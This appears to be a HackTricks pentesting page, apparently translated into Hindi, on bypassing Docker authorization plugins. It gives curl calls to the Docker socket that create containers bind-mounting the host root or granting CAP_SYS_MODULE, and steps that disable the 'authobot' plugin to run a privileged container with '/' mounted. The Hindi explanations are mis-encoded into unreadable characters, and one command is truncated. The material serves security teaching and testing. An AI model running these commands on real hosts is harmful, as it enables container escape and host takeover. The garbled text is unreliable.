curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Binds":["/:/host"]}}' http:/v1.40/containers/create

Mounts in root

рд░реВрдЯ рдореЗрдВ рдмрд╛рдЗрдВрдбреНрд╕ рдХреЗ рд╕рд╛рде рд╡рд╣реА рдирд┐рд░реНрджреЗрд╢ рдХрд╛ рдкрд╛рд▓рди рдХрд░реЗрдВ, рдЗрд╕ рдЕрдиреБрд░реЛрдз рдХреЛ Docker API рдкрд░ рдХрд░реЗрдВ:

curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}' http:/v1.40/containers/create

Mounts in HostConfig

рд░реВрдЯ рдореЗрдВ рдмрд╛рдЗрдВрдбреНрд╕ рдХреЗ рд╕рд╛рде рд╡рд╣реА рдирд┐рд░реНрджреЗрд╢ рдХрд╛ рдкрд╛рд▓рди рдХрд░реЗрдВ, рдЗрд╕ рдЕрдиреБрд░реЛрдз рдХреЛ Docker API рдкрд░ рдХрд░реЗрдВ:

curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "HostConfig":{"Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}}' http:/v1.40/containers/cre

Unchecked JSON Attribute

рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдЬрдм рд╕рд┐рд╕реНрдЯрдо рдкреНрд░рд╢рд╛рд╕рдХ рдиреЗ рдбреЙрдХрд░ рдлрд╝рд╛рдпрд░рд╡реЙрд▓ рдХреЛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛, рддреЛ рдЙрд╕рдиреЗ API рдХреЗ "HostConfig" рдХреЗ рдЕрдВрджрд░ "Capabilities" рдЬреИрд╕реЗ рдХрд┐рд╕реА рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдЧреБрдг рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рднреВрд▓ рдЧрдпрд╛ред рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЙрджрд╛рд╣рд░рдг рдореЗрдВ, рдЗрд╕ рдЧрд▓рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ SYS_MODULE рдХреНрд╖рдорддрд╛ рдХреЗ рд╕рд╛рде рдПрдХ рдХрдВрдЯреЗрдирд░ рдмрдирд╛рдиреЗ рдФрд░ рдЪрд▓рд╛рдиреЗ рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рд╣реИ:

docker version
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Capabilities":["CAP_SYS_MODULE"]}}' http:/v1.40/containers/create
docker start c52a77629a9112450f3dedd1ad94ded17db61244c4249bdfbd6bb3d581f470fa
docker ps
docker exec -it c52a77629a91 bash
capsh --print
#You can abuse the SYS_MODULE capability

HostConfig рд╡рд╣ рдХреБрдВрдЬреА рд╣реИ рдЬреЛ рдЖрдорддреМрд░ рдкрд░ рдХрдВрдЯреЗрдирд░ рд╕реЗ рдмрд╛рд╣рд░ рдирд┐рдХрд▓рдиреЗ рдХреЗ рд▓рд┐рдП рджрд┐рд▓рдЪрд╕реНрдк рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рддреА рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЬреИрд╕рд╛ рдХрд┐ рд╣рдордиреЗ рдкрд╣рд▓реЗ рдЪрд░реНрдЪрд╛ рдХреА рд╣реИ, рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЗрд╕рдХреЗ рдмрд╛рд╣рд░ Binds рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рднреА рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЖрдкрдХреЛ рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рд╕рдХрддрд╛ рд╣реИред

рдкреНрд▓рдЧрдЗрди рдХреЛ рдЕрдХреНрд╖рдо рдХрд░рдирд╛

рдпрджрд┐ sysadmin рдиреЗ рдкреНрд▓рдЧрдЗрди рдХреЛ рдЕрдХреНрд╖рдо рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рдХреЛ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП рднреВрд▓ рдХрд┐рдпрд╛ рд╣реИ, рддреЛ рдЖрдк рдЗрд╕рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдХрд░ рдЗрд╕реЗ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдЕрдХреНрд╖рдо рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ!

docker plugin list #Enumerate plugins

# If you donтАЩt have access to enumerate the plugins you can see the name of the plugin in the error output:
docker: Error response from daemon: authorization denied by plugin authobot:latest: use of Privileged containers is not allowed.
# "authbolt" is the name of the previous plugin

docker plugin disable authobot
docker run --rm -it --privileged -v /:/host ubuntu bash
docker plugin enable authobot

рдпрд╛рдж рд░рдЦреЗрдВ рдХрд┐ рдЙрдиреНрдирддрд┐ рдХреЗ рдмрд╛рдж рдкреНрд▓рдЧрдЗрди рдХреЛ рдлрд┐рд░ рд╕реЗ рд╕рдХреНрд╖рдо рдХрд░реЗрдВ, рдЕрдиреНрдпрдерд╛ рдбреЙрдХрд░ рд╕реЗрд╡рд╛ рдХрд╛ рдкреБрдирд░рд╛рд░рдВрдн рдХрд╛рдо рдирд╣реАрдВ рдХрд░реЗрдЧрд╛!

рдСрде рдкреНрд▓рдЧрдЗрди рдмрд╛рдпрдкрд╛рд╕ рд▓реЗрдЦ

HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ

Last updated